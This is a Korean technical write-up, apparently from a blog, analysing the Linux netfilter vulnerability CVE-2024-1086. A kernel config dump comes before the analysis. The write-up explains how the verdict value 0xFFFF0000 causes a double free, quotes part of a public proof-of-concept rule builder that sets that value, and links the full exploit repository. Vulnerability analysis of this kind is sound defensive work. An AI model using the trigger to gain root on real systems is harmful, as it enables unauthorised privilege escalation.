# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set
# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set
# CONFIG_GCC_PLUGIN_STACKLEAK is not set
# CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set
# CONFIG_INIT_ON_FREE_DEFAULT_ON is not set
CONFIG_CC_HAS_ZERO_CALL_USED_REGS=y
# CONFIG_ZERO_CALL_USED_REGS is not set
# end of Memory initialization
# end of Kernel hardening options
# end of Security options

CONFIG_XOR_BLOCKS=y
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_SKCIPHER=y
CONFIG_CRYPTO_SKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_RNG_DEFAULT=y
CONFIG_CRYPTO_AKCIPHER2=y
CONFIG_CRYPTO_AKCIPHER=y
CONFIG_CRYPTO_KPP2=y
CONFIG_CRYPTO_ACOMP2=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
CONFIG_CRYPTO_GF128MUL=y
CONFIG_CRYPTO_NULL=y
CONFIG_CRYPTO_NULL2=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=y

#
# Public-key cryptography
#
CONFIG_CRYPTO_RSA=y
# CONFIG_CRYPTO_DH is not set
# CONFIG_CRYPTO_ECDH is not set
# CONFIG_CRYPTO_ECDSA is not set
# CONFIG_CRYPTO_ECRDSA is not set
# CONFIG_CRYPTO_SM2 is not set
# CONFIG_CRYPTO_CURVE25519 is not set
CONFIG_CRYPTO_CURVE25519_X86=y

#
# Authenticated Encryption with Associated Data
#
CONFIG_CRYPTO_CCM=y
CONFIG_CRYPTO_GCM=y
# CONFIG_CRYPTO_CHACHA20POLY1305 is not set
# CONFIG_CRYPTO_AEGIS128 is not set
# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set
CONFIG_CRYPTO_SEQIV=y
CONFIG_CRYPTO_ECHAINIV=y

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CFB is not set
CONFIG_CRYPTO_CTR=y
CONFIG_CRYPTO_CTS=y
CONFIG_CRYPTO_ECB=y
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_OFB is not set
# CONFIG_CRYPTO_PCBC is not set
CONFIG_CRYPTO_XTS=y
# CONFIG_CRYPTO_KEYWRAP is not set
# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set
# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set
# CONFIG_CRYPTO_ADIANTUM is not set
CONFIG_CRYPTO_ESSIV=y

#
# Hash modes
#
CONFIG_CRYPTO_CMAC=y
CONFIG_CRYPTO_HMAC=y
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
# CONFIG_CRYPTO_CRC32C_INTEL is not set
# CONFIG_CRYPTO_CRC32 is not set
# CONFIG_CRYPTO_CRC32_PCLMUL is not set
CONFIG_CRYPTO_XXHASH=y
CONFIG_CRYPTO_BLAKE2B=y
CONFIG_CRYPTO_BLAKE2S_X86=y
# CONFIG_CRYPTO_CRCT10DIF is not set
CONFIG_CRYPTO_GHASH=y
# CONFIG_CRYPTO_POLY1305 is not set
CONFIG_CRYPTO_POLY1305_X86_64=y
CONFIG_CRYPTO_MD4=y
CONFIG_CRYPTO_MD5=y
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD160 is not set
CONFIG_CRYPTO_SHA1=y
# CONFIG_CRYPTO_SHA1_SSSE3 is not set
# CONFIG_CRYPTO_SHA256_SSSE3 is not set
# CONFIG_CRYPTO_SHA512_SSSE3 is not set
CONFIG_CRYPTO_SHA256=y
CONFIG_CRYPTO_SHA512=y
# CONFIG_CRYPTO_SHA3 is not set
# CONFIG_CRYPTO_SM3 is not set
# CONFIG_CRYPTO_STREEBOG is not set
# CONFIG_CRYPTO_WP512 is not set
# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
# CONFIG_CRYPTO_AES_TI is not set
# CONFIG_CRYPTO_AES_NI_INTEL is not set
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set
# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set
# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set
CONFIG_CRYPTO_DES=y
# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_CHACHA20 is not set
CONFIG_CRYPTO_CHACHA20_X86_64=y
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set
# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set
# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set
# CONFIG_CRYPTO_SM4 is not set
# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set
# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set
# CONFIG_CRYPTO_TWOFISH is not set
# CONFIG_CRYPTO_TWOFISH_X86_64 is not set
# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set
# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set

#
# Compression
#
# CONFIG_CRYPTO_DEFLATE is not set
# CONFIG_CRYPTO_LZO is not set
# CONFIG_CRYPTO_842 is not set
# CONFIG_CRYPTO_LZ4 is not set
# CONFIG_CRYPTO_LZ4HC is not set
# CONFIG_CRYPTO_ZSTD is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
CONFIG_CRYPTO_DRBG_MENU=y
CONFIG_CRYPTO_DRBG_HMAC=y
# CONFIG_CRYPTO_DRBG_HASH is not set
# CONFIG_CRYPTO_DRBG_CTR is not set
CONFIG_CRYPTO_DRBG=y
CONFIG_CRYPTO_JITTERENTROPY=y
CONFIG_CRYPTO_HASH_INFO=y
CONFIG_CRYPTO_HW=y
# CONFIG_CRYPTO_DEV_PADLOCK is not set
# CONFIG_CRYPTO_DEV_VIRTIO is not set
# CONFIG_CRYPTO_DEV_AMLOGIC_GXL is not set
CONFIG_ASYMMETRIC_KEY_TYPE=y
CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y
CONFIG_X509_CERTIFICATE_PARSER=y
# CONFIG_PKCS8_PRIVATE_KEY_PARSER is not set
CONFIG_PKCS7_MESSAGE_PARSER=y

#
# Certificates for signature checking
#
CONFIG_SYSTEM_TRUSTED_KEYRING=y
CONFIG_SYSTEM_TRUSTED_KEYS=""
# CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set
# CONFIG_SECONDARY_TRUSTED_KEYRING is not set
# CONFIG_SYSTEM_BLACKLIST_KEYRING is not set
# end of Certificates for signature checking

CONFIG_BINARY_PRINTF=y

#
# Library routines
#
CONFIG_RAID6_PQ=y
# CONFIG_RAID6_PQ_BENCHMARK is not set
# CONFIG_PACKING is not set
CONFIG_BITREVERSE=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_STRNLEN_USER=y
CONFIG_GENERIC_FIND_FIRST_BIT=y
# CONFIG_CORDIC is not set
# CONFIG_PRIME_NUMBERS is not set
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IOMAP=y
CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y
CONFIG_ARCH_HAS_FAST_MULTIPLIER=y
CONFIG_ARCH_USE_SYM_ANNOTATIONS=y

#
# Crypto library routines
#
CONFIG_CRYPTO_LIB_AES=y
CONFIG_CRYPTO_ARCH_HAVE_LIB_BLAKE2S=y
CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y
CONFIG_CRYPTO_ARCH_HAVE_LIB_CHACHA=y
CONFIG_CRYPTO_LIB_CHACHA_GENERIC=y
CONFIG_CRYPTO_LIB_CHACHA=y
CONFIG_CRYPTO_ARCH_HAVE_LIB_CURVE25519=y
CONFIG_CRYPTO_LIB_CURVE25519_GENERIC=y
CONFIG_CRYPTO_LIB_CURVE25519=y
CONFIG_CRYPTO_LIB_DES=y
CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11
CONFIG_CRYPTO_ARCH_HAVE_LIB_POLY1305=y
CONFIG_CRYPTO_LIB_POLY1305_GENERIC=y
CONFIG_CRYPTO_LIB_POLY1305=y
CONFIG_CRYPTO_LIB_CHACHA20POLY1305=y
CONFIG_CRYPTO_LIB_SHA256=y
# end of Crypto library routines

CONFIG_LIB_MEMNEQ=y
CONFIG_CRC_CCITT=y
CONFIG_CRC16=y
# CONFIG_CRC_T10DIF is not set
CONFIG_CRC_ITU_T=y
CONFIG_CRC32=y
# CONFIG_CRC32_SELFTEST is not set
CONFIG_CRC32_SLICEBY8=y
# CONFIG_CRC32_SLICEBY4 is not set
# CONFIG_CRC32_SARWATE is not set
# CONFIG_CRC32_BIT is not set
# CONFIG_CRC64 is not set
# CONFIG_CRC4 is not set
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=y
# CONFIG_CRC8 is not set
CONFIG_XXHASH=y
# CONFIG_RANDOM32_SELFTEST is not set
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=y
CONFIG_LZO_COMPRESS=y
CONFIG_LZO_DECOMPRESS=y
CONFIG_LZ4_DECOMPRESS=y
CONFIG_ZSTD_COMPRESS=y
CONFIG_ZSTD_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_IA64=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_GENERIC_ALLOCATOR=y
CONFIG_INTERVAL_TREE=y
CONFIG_ASSOCIATIVE_ARRAY=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT_MAP=y
CONFIG_HAS_DMA=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_ARCH_DMA_ADDR_T_64BIT=y
CONFIG_SWIOTLB=y
# CONFIG_DMA_API_DEBUG is not set
# CONFIG_DMA_MAP_BENCHMARK is not set
CONFIG_SGL_ALLOC=y
CONFIG_GLOB=y
# CONFIG_GLOB_SELFTEST is not set
CONFIG_CLZ_TAB=y
# CONFIG_IRQ_POLL is not set
CONFIG_MPILIB=y
CONFIG_OID_REGISTRY=y
CONFIG_HAVE_GENERIC_VDSO=y
CONFIG_GENERIC_GETTIMEOFDAY=y
CONFIG_GENERIC_VDSO_TIME_NS=y
CONFIG_ARCH_HAS_PMEM_API=y
CONFIG_MEMREGION=y
CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y
CONFIG_ARCH_HAS_COPY_MC=y
CONFIG_ARCH_STACKWALK=y
CONFIG_SBITMAP=y
# end of Library routines

#
# Kernel hacking
#

#
# printk and dmesg options
#
CONFIG_PRINTK_TIME=y
# CONFIG_PRINTK_CALLER is not set
# CONFIG_STACKTRACE_BUILD_ID is not set
CONFIG_CONSOLE_LOGLEVEL_DEFAULT=2
CONFIG_CONSOLE_LOGLEVEL_QUIET=4
CONFIG_MESSAGE_LOGLEVEL_DEFAULT=1
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_DYNAMIC_DEBUG is not set
# CONFIG_DYNAMIC_DEBUG_CORE is not set
# CONFIG_SYMBOLIC_ERRNAME is not set
CONFIG_DEBUG_BUGVERBOSE=y
# end of printk and dmesg options

CONFIG_AS_HAS_NON_CONST_LEB128=y

#
# Compile-time checks and compiler options
#
CONFIG_DEBUG_INFO=y
# CONFIG_DEBUG_INFO_REDUCED is not set
# CONFIG_DEBUG_INFO_COMPRESSED is not set
# CONFIG_DEBUG_INFO_SPLIT is not set
CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT=y
# CONFIG_DEBUG_INFO_DWARF4 is not set
CONFIG_DEBUG_INFO_BTF=y
# CONFIG_GDB_SCRIPTS is not set
CONFIG_FRAME_WARN=1024
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_READABLE_ASM is not set
# CONFIG_HEADERS_INSTALL is not set
# CONFIG_DEBUG_SECTION_MISMATCH is not set
# CONFIG_SECTION_MISMATCH_WARN_ONLY is not set
CONFIG_STACK_VALIDATION=y
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# end of Compile-time checks and compiler options

#
# Generic Kernel Debugging Instruments
#
CONFIG_MAGIC_SYSRQ=y
CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x1
CONFIG_MAGIC_SYSRQ_SERIAL=y
CONFIG_MAGIC_SYSRQ_SERIAL_SEQUENCE=""
CONFIG_DEBUG_FS=y
CONFIG_DEBUG_FS_ALLOW_ALL=y
# CONFIG_DEBUG_FS_DISALLOW_MOUNT is not set
# CONFIG_DEBUG_FS_ALLOW_NONE is not set
CONFIG_HAVE_ARCH_KGDB=y
CONFIG_KGDB=y
CONFIG_KGDB_SERIAL_CONSOLE=y
# CONFIG_KGDB_TESTS is not set
# CONFIG_KGDB_LOW_LEVEL_TRAP is not set
# CONFIG_KGDB_KDB is not set
CONFIG_ARCH_HAS_EARLY_DEBUG=y
CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y
# CONFIG_UBSAN is not set
CONFIG_HAVE_ARCH_KCSAN=y
CONFIG_HAVE_KCSAN_COMPILER=y
# CONFIG_KCSAN is not set
# end of Generic Kernel Debugging Instruments

CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_MISC is not set

#
# Memory Debugging
#
# CONFIG_PAGE_EXTENSION is not set
# CONFIG_DEBUG_PAGEALLOC is not set
# CONFIG_PAGE_OWNER is not set
# CONFIG_PAGE_POISONING is not set
# CONFIG_DEBUG_PAGE_REF is not set
# CONFIG_DEBUG_RODATA_TEST is not set
CONFIG_ARCH_HAS_DEBUG_WX=y
# CONFIG_DEBUG_WX is not set
CONFIG_GENERIC_PTDUMP=y
# CONFIG_PTDUMP_DEBUGFS is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
CONFIG_HAVE_DEBUG_KMEMLEAK=y
# CONFIG_DEBUG_KMEMLEAK is not set
# CONFIG_DEBUG_STACK_USAGE is not set
CONFIG_SCHED_STACK_END_CHECK=y
CONFIG_ARCH_HAS_DEBUG_VM_PGTABLE=y
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_VM_PGTABLE is not set
CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y
# CONFIG_DEBUG_VIRTUAL is not set
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y
# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set
CONFIG_HAVE_ARCH_KASAN=y
CONFIG_HAVE_ARCH_KASAN_VMALLOC=y
CONFIG_CC_HAS_KASAN_GENERIC=y
CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y
# CONFIG_KASAN is not set
CONFIG_HAVE_ARCH_KFENCE=y
# CONFIG_KFENCE is not set
# end of Memory Debugging

# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Oops, Lockups and Hangs
#
CONFIG_PANIC_ON_OOPS=y
CONFIG_PANIC_ON_OOPS_VALUE=1
CONFIG_PANIC_TIMEOUT=0
# CONFIG_SOFTLOCKUP_DETECTOR is not set
CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y
# CONFIG_HARDLOCKUP_DETECTOR is not set
# CONFIG_DETECT_HUNG_TASK is not set
# CONFIG_WQ_WATCHDOG is not set
# end of Debug Oops, Lockups and Hangs

#
# Scheduler Debugging
#
CONFIG_SCHED_DEBUG=y
CONFIG_SCHED_INFO=y
CONFIG_SCHEDSTATS=y
# end of Scheduler Debugging

# CONFIG_DEBUG_TIMEKEEPING is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
CONFIG_LOCK_DEBUGGING_SUPPORT=y
# CONFIG_PROVE_LOCKING is not set
# CONFIG_LOCK_STAT is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_DEBUG_WW_MUTEX_SLOWPATH is not set
# CONFIG_DEBUG_RWSEMS is not set
# CONFIG_DEBUG_LOCK_ALLOC is not set
# CONFIG_DEBUG_ATOMIC_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_LOCK_TORTURE_TEST is not set
# CONFIG_WW_MUTEX_SELFTEST is not set
# CONFIG_SCF_TORTURE_TEST is not set
# CONFIG_CSD_LOCK_WAIT_DEBUG is not set
# end of Lock Debugging (spinlocks, mutexes, etc...)

# CONFIG_DEBUG_IRQFLAGS is not set
CONFIG_STACKTRACE=y
# CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set
# CONFIG_DEBUG_KOBJECT is not set

#
# Debug kernel data structures
#
CONFIG_DEBUG_LIST=y
# CONFIG_DEBUG_PLIST is not set
CONFIG_DEBUG_SG=y
CONFIG_DEBUG_NOTIFIERS=y
# CONFIG_BUG_ON_DATA_CORRUPTION is not set
# end of Debug kernel data structures

CONFIG_DEBUG_CREDENTIALS=y

#
# RCU Debugging
#
# CONFIG_RCU_SCALE_TEST is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_REF_SCALE_TEST is not set
# CONFIG_RCU_TRACE is not set
# CONFIG_RCU_EQS_DEBUG is not set
# end of RCU Debugging

# CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set
# CONFIG_LATENCYTOP is not set
CONFIG_USER_STACKTRACE_SUPPORT=y
CONFIG_NOP_TRACER=y
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_DYNAMIC_FTRACE=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y
CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y
CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
CONFIG_HAVE_FENTRY=y
CONFIG_HAVE_OBJTOOL_MCOUNT=y
CONFIG_HAVE_C_RECORDMCOUNT=y
CONFIG_TRACER_MAX_TRACE=y
CONFIG_TRACE_CLOCK=y
CONFIG_RING_BUFFER=y
CONFIG_EVENT_TRACING=y
CONFIG_CONTEXT_SWITCH_TRACER=y
CONFIG_RING_BUFFER_ALLOW_SWAP=y
CONFIG_TRACING=y
CONFIG_GENERIC_TRACER=y
CONFIG_TRACING_SUPPORT=y
CONFIG_FTRACE=y
# CONFIG_BOOTTIME_TRACING is not set
CONFIG_FUNCTION_TRACER=y
CONFIG_FUNCTION_GRAPH_TRACER=y
CONFIG_DYNAMIC_FTRACE=y
CONFIG_DYNAMIC_FTRACE_WITH_REGS=y
CONFIG_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y
CONFIG_DYNAMIC_FTRACE_WITH_ARGS=y
CONFIG_FUNCTION_PROFILER=y
CONFIG_STACK_TRACER=y
# CONFIG_IRQSOFF_TRACER is not set
CONFIG_SCHED_TRACER=y
CONFIG_HWLAT_TRACER=y
# CONFIG_OSNOISE_TRACER is not set
# CONFIG_TIMERLAT_TRACER is not set
CONFIG_FTRACE_SYSCALLS=y
CONFIG_TRACER_SNAPSHOT=y
CONFIG_TRACER_SNAPSHOT_PER_CPU_SWAP=y
CONFIG_BRANCH_PROFILE_NONE=y
# CONFIG_PROFILE_ANNOTATED_BRANCHES is not set
# CONFIG_BLK_DEV_IO_TRACE is not set
CONFIG_UPROBE_EVENTS=y
CONFIG_DYNAMIC_EVENTS=y
CONFIG_PROBE_EVENTS=y
CONFIG_FTRACE_MCOUNT_RECORD=y
CONFIG_FTRACE_MCOUNT_USE_CC=y
# CONFIG_SYNTH_EVENTS is not set
# CONFIG_HIST_TRIGGERS is not set
# CONFIG_TRACE_EVENT_INJECT is not set
# CONFIG_TRACEPOINT_BENCHMARK is not set
# CONFIG_RING_BUFFER_BENCHMARK is not set
# CONFIG_TRACE_EVAL_MAP_FILE is not set
# CONFIG_FTRACE_RECORD_RECURSION is not set
# CONFIG_FTRACE_STARTUP_TEST is not set
# CONFIG_RING_BUFFER_STARTUP_TEST is not set
# CONFIG_RING_BUFFER_VALIDATE_TIME_DELTAS is not set
# CONFIG_SAMPLES is not set
CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y
# CONFIG_STRICT_DEVMEM is not set

#
# x86 Debugging
#
# CONFIG_X86_VERBOSE_BOOTUP is not set
CONFIG_EARLY_PRINTK=y
# CONFIG_DEBUG_TLBFLUSH is not set
CONFIG_HAVE_MMIOTRACE_SUPPORT=y
# CONFIG_X86_DECODER_SELFTEST is not set
CONFIG_IO_DELAY_0X80=y
# CONFIG_IO_DELAY_0XED is not set
# CONFIG_IO_DELAY_UDELAY is not set
# CONFIG_IO_DELAY_NONE is not set
# CONFIG_DEBUG_BOOT_PARAMS is not set
# CONFIG_CPA_DEBUG is not set
# CONFIG_DEBUG_ENTRY is not set
# CONFIG_DEBUG_NMI_SELFTEST is not set
# CONFIG_X86_DEBUG_FPU is not set
CONFIG_UNWINDER_ORC=y
# CONFIG_UNWINDER_FRAME_POINTER is not set
# end of x86 Debugging

#
# Kernel Testing and Coverage
#
# CONFIG_KUNIT is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
# CONFIG_FAULT_INJECTION is not set
CONFIG_ARCH_HAS_KCOV=y
CONFIG_CC_HAS_SANCOV_TRACE_PC=y
# CONFIG_KCOV is not set
# CONFIG_RUNTIME_TESTING_MENU is not set
CONFIG_ARCH_USE_MEMTEST=y
# CONFIG_MEMTEST is not set
# end of Kernel Testing and Coverage
# end of Kernel hacking

 

 

4. Vulnerability

---

사용자/관리자가 생성한 패킷 처리 규칙을 통해 패킷에 대한 평가를 수행하는 함수인 nf_hook_slow()에서 취약점이 발생한다.

 

nf_hook_slow()

int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
		 const struct nf_hook_entries *e, unsigned int s)
{
	unsigned int verdict;
	int ret;

	for (; s < e->num_hook_entries; s++) {
		verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);
		switch (verdict & NF_VERDICT_MASK) {
		case NF_ACCEPT:
			break;
		case NF_DROP:
			kfree_skb(skb);
			ret = NF_DROP_GETERR(verdict);
			if (ret == 0)
				ret = -EPERM;
			return ret;
		case NF_QUEUE:
			ret = nf_queue(skb, state, s, verdict);
			if (ret == 1)
				continue;
			return ret;
		default:
			/* Implicit handling for NF_STOLEN, as well as any other
			 * non conventional verdicts.
			 */
			return 0;
		}
	}

	return 1;
}

패킷에 대한 평가가 NF_ACCPET이면 이후 동작을 수행, NF_DROP이면 패킷 메모리를 해제하고 이후 정의된 동작을 수행한다.

각 상태 정보에 따른 정의는 다음과 같다.

#define NF_DROP 0
#define NF_ACCEPT 1
#define NF_STOLEN 2
#define NF_QUEUE 3
#define NF_REPEAT 4
#define NF_STOP 5	/* Deprecated, for userspace nf_queue compatibility. */
#define NF_MAX_VERDICT NF_STOP

각 상태 정보를 구하기 위해서 nf_hook_entry_hookfn()를 통해서 verdict 변수를 설정한다.

 

static inline int
nf_hook_entry_hookfn(const struct nf_hook_entry *entry, struct sk_buff *skb,
		     struct nf_hook_state *state)
{
	return entry->hook(entry->priv, skb, state);
}

이후 NF_VERDICT_MASK 매크로 값과 verdict 값을 통해 패킷 처리가 결정된다.

 

verdict 처리에 대한 정의는 net_filter_api.c에 되어있다.

static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
			    struct nft_data_desc *desc, const struct nlattr *nla)
{
	u8 genmask = nft_genmask_next(ctx->net);
	struct nlattr *tb[NFTA_VERDICT_MAX + 1];
	struct nft_chain *chain;
	int err;

	err = nla_parse_nested_deprecated(tb, NFTA_VERDICT_MAX, nla,
					  nft_verdict_policy, NULL);
	if (err < 0)
		return err;

	if (!tb[NFTA_VERDICT_CODE])
		return -EINVAL;
	data->verdict.code = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));

	switch (data->verdict.code) {
	default:
		switch (data->verdict.code & NF_VERDICT_MASK) {
		case NF_ACCEPT:
		case NF_DROP:
		case NF_QUEUE:
			break;
		default:
			return -EINVAL;
		}
		fallthrough;
	case NFT_CONTINUE:
	case NFT_BREAK:
	case NFT_RETURN:
		break;
	case NFT_JUMP:
		case NFT_GOTO:
		if (tb[NFTA_VERDICT_CHAIN]) {
			chain = nft_chain_lookup(ctx->net, ctx->table,
						 tb[NFTA_VERDICT_CHAIN],
						 genmask);
		} else if (tb[NFTA_VERDICT_CHAIN_ID]) {
			chain = nft_chain_lookup_byid(ctx->net,
						      tb[NFTA_VERDICT_CHAIN_ID]);
			if (IS_ERR(chain))
				return PTR_ERR(chain);
		} else {
			return -EINVAL;
		}

		if (IS_ERR(chain))
			return PTR_ERR(chain);
		if (nft_is_base_chain(chain))
			return -EOPNOTSUPP;

		chain->use++;
		data->verdict.chain = chain;
		break;
	}

	desc->len = sizeof(data->verdict);
	desc->type = NFT_DATA_VERDICT;
	return 0;
}

switch 문을 통해 이후 동작을 수행하는 코드이다.

 

취약점 발생 지점

switch (data->verdict.code & NF_VERDICT_MASK)


#define NF_VERDICT_MASK 0x000000ff

data->verdict.code는 netfilter 규칙 설정에 대한 반환 값을 설정하는 것으로 해당 값을 설정할 수 있다. 이때 data->verdict.code가 0xffff0000이면 NF_VERDICT_MASK와 and 연산 결과 값이 하위 8바이트만 추출되어 0x00000000이 된다.

이때 0은 NF_DROP을 의미하는 것이기 때문에 할당된 패킷 메모리를 해제하게 된다.

 

POC 코드를 잠깐 살펴보면 반환값을 0xFFFF0000으로 설정해주고 있는 것을 볼 수 있다.

static struct nftnl_rule *alloc_rule(unsigned char family, const char *table, const char *chain, unsigned char proto)
{
	struct nftnl_rule *r = NULL;

	r = nftnl_rule_alloc();
	if (r == NULL) {
		perror("rule alloc");
		exit(EXIT_FAILURE);
	}

	nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
	nftnl_rule_set(r, NFTNL_RULE_TABLE, table);
	nftnl_rule_set(r, NFTNL_RULE_CHAIN, chain);

	// expect protocol to be `proto`
	add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, offsetof(struct iphdr, protocol), sizeof(unsigned char));
	add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(unsigned char));

	// expect 4 first bytes of packet to be \x41
    add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, sizeof(struct iphdr), 4);
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, "\x41\x41\x41\x41", 4);


	// (NF_DROP | -((0xFFFF << 16) >> 16)) == 1, aka NF_ACCEPT (trigger double free)
	// (NF_DROP | -((0xFFF0 << 16) >> 16)) == 16
	add_set_verdict(r, (unsigned int)(0xFFFF0000));

	return r;
}

 

case NF_DROP:
			kfree_skb(skb);
			ret = NF_DROP_GETERR(verdict);
			if (ret == 0)
				ret = -EPERM;
			return ret;

NF_DROP이면 메모리 해제 후 NF_DROP_GETERR()을 통해 ret를 설정해준다.

static inline int NF_DROP_GETERR(int verdict)
{
	return -(verdict >> NF_VERDICT_QBITS);
}

#define NF_VERDICT_QBITS 16

해당 함수는 verdict 값을 16만큼 오른쪽으로 shift 연산을 수행한다. 

 

verdict이 0xffff0000이었기 때문에 해당 함수를 거치고 나면 0xffffffff가 된다.

이는 signed int 형이라는 것을 생각해서 -(0xffffffff)을 계산하게 되면 0x1이 나온다.

[ ret는 signed int 형으로 선언되어 있다.]

 

여기서 1은 NF_ACCEPT이기 때문에 에러를 반환하지 않고 이후 동작들에 대해서도 ACCEPT 처리 된 것으로 동작을 하게 된다.

 

취약점이 발생하는 과정에 대해서는 PoC와 자세히 살펴보겠다.

 

 

5. PoC

---

https://github.com/Notselwyn/CVE-2024-1086

GitHub - Notselwyn/CVE-2024-1086: Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on mo

 

SRC_FILES := src/main.c src/env.c src/net.c src/nftnl.c src/file.c
OUT_NAME = ./exploit

# use musl-gcc since statically linking glibc with gcc generated invalid opcodes for qemu
#   and dynamically linking raised glibc ABI versioning errors
CC = musl-gcc

# use custom headers with fixed versions in a musl-gcc compatible manner
# - ./include/libmnl: libmnl v1.0.5
# - ./include/libnftnl: libnftnl v1.2.6
